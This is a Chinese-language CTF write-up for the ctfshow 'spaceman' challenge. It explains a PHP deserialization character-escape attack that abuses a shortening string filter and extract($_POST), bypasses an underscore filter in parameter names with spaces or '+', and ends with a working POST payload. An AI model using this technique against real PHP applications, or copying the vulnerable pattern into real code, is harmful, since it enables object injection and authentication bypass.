ctfshow大吉大利杯 spaceman
小白第一次写文章,记录一下自己的做题心得,有误的地方还请大佬指正。
题目
<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
public $username;
public $password;
public function __construct($username,$password)
{
$this->username = $username;
$this->password = $password;
}
public function __wakeup()
{
if($this->password==='ctfshowvip')
{
include("flag.php");
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>
wp:
题目比较简单,定义了一个类spaceman,里面两个属性 u s e r n a m e 和 username和 username和password,_wakeup()函数里判断password=ctfshowvip,是则返回flag。
下面定义了一个过滤函数,将ctfshowup替换为ctfshow,
后面$str = file_get_contents(“php://input”);这一行读取post传参,并正则匹配,所以不能有_ . ] [,通过才能读取post传参,
可以看到需要通过post传参使得$pass_word=ctfshowvip,而又过滤了下划线,就需要绕过了
通过构造字符逃逸,绕过匹配
先随便传个username和password,进行序列化,得到
O:8:“spaceman”:2:{s:8:“username”;s:3:“xxx”;s:8:“password”;s:3:“xxx”;}
可以通过构造username的值进行字符减少,然后把需要的ctfshowvip构造在password里面。
每加一个ctfshowup,就减少两个字符,需要吞掉";s:8:“password”;s:xx:"这些23个字符,(注意,password的长度还未知,但大概判断一下应该是2位数,所以这里的xx是两位)可在后面再加一个变成24个字符然后在前面写12个ctfshowup。再在password里面构造剩下的结构,也就是
O:8:“spaceman”:2:{s:8:“username”;s:108:“ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup”;s:8:“password”;s:37:‘1";s:8:“password”;s:10:“ctfshowvip”;}’;}
过滤后就成了
O:8:“spaceman”:2:{s:8:“username”;s:108:“ctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshow";s:8:“password”;s:37:"1”;s:8:“password”;s:10:“ctfshowvip”;}";}
便可完成逃逸,最后post上传username和password即可。
这里有一个知识点,GET或POST方式传进去的变量名,会自动将空格 + . [
转换为_
,详见https://cloud.tencent.com/developer/tools/blog-entry?target=http%3A%2F%2Fca3.php.net%2Fmanual%2Fen%2Flanguage.variables.external.php%2381080
故post时将user_name和pass_word写成user name和pass word(或者加号 . ]都行),
payload
user+name=ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup&pass+word=1";s:8:"password";s:10:"ctfshowvip";}
注意:这里又犯了个错误,写user+name=ctfshow…时,后面字符串我加了双引号,结果就没回显了,这里不能加引号